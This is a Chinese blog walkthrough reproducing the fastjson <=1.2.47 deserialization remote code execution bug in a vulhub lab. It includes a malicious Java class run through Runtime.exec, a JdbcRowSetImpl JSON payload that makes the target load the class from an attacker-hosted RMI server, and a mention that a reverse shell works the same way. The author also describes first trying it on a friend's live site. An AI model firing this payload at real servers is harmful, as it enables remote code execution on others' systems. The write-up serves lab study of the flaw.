• fastjson<=1.2.47反序列化漏洞复现


    0x00:前言

    这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告。既然漏洞环境送上门来,我便打算直接下手试一试。在我的想象中当然是一发入魂回车shell(大雾),事实证明事情永远不会这么简单,我怀疑他们偷偷修复了这个漏洞因为我rmi服务器连响应都没收到....因此我是基于P师傅的vulhub环境复现的。

    0x01:环境准备

    直接将github上的vulhub下载下来,进入fastjson漏洞环境目录下,执行

    dcoker-compose up -d

    开启环境

    接着在自己的vps里开启rmi或者ldap服务

    推荐使用marshalsec快速开启rmi或ldap服务

    地址:

    https://github.com/mbechler/marshalsec

    下载marshalsec,使用maven编译jar包

    mvn clean package -DskipTests
    

     开启rmi或ldap服务

    java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
    

     

    这里的TouchFile是我编译好的恶意类,将编译好的TouchFile.class放在tomcat webapps/ROOT 目录下,java源码如下

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

    开启tomacat,确认可以访问http://ip:8080/TouchFile.class

    为什么要确认这一点呢,因为我一开始把class文件放在了webapps目录下一直没复现成功。后来我一看tomcat的access-log发现我rmi确实请求访问恶意类了,但是是404...我一度怀疑人生了都...

    0x02:攻击

    直接请求搭建好的漏洞环境,端口是8090 将方法改成POST

     payload:

        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:8088/TouchFile",
            "autoCommit":true
        }
    }

     发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

    可以看到已成功执行touch /tmp/success

    同理 反弹shell

    0x03:一些坑点

    因为之前的服务器到期了一直没买新的,这次的vps是刚买的,买的阿里云忘了配置防火墙了就很尴尬...rmi一开始没收到请求我还很疑惑,结果我朋友问我你防火墙配置了吗....

    接着就是这个恶意类放置路径的问题(我java实在是太菜了 这不是坑点 这是我太菜了)

    最后就是rmi和ldap这种利用方式对版本是有要求的,它们分别在以下版本被修复

  • 相关阅读:
    JAVA嵌入运行Groovy脚本
    git撤销本地所有未提交的更改
    Java连接S3并上传Redis
    jython笔记
    Elasticsearch 5.2.x 使用 Head 插件连接不上集群
    elasticsearch 5.1 别的机器无法访问9200端口
    elasticsearch,http://ip:9200访问不到的解决办法
    在centos7中安装nodejs(npm )
    java标识符和关键字
    Java平台
  • 原文地址:https://www.cnblogs.com/escape-w/p/11322845.html
Copyright © 2020-2023  润新知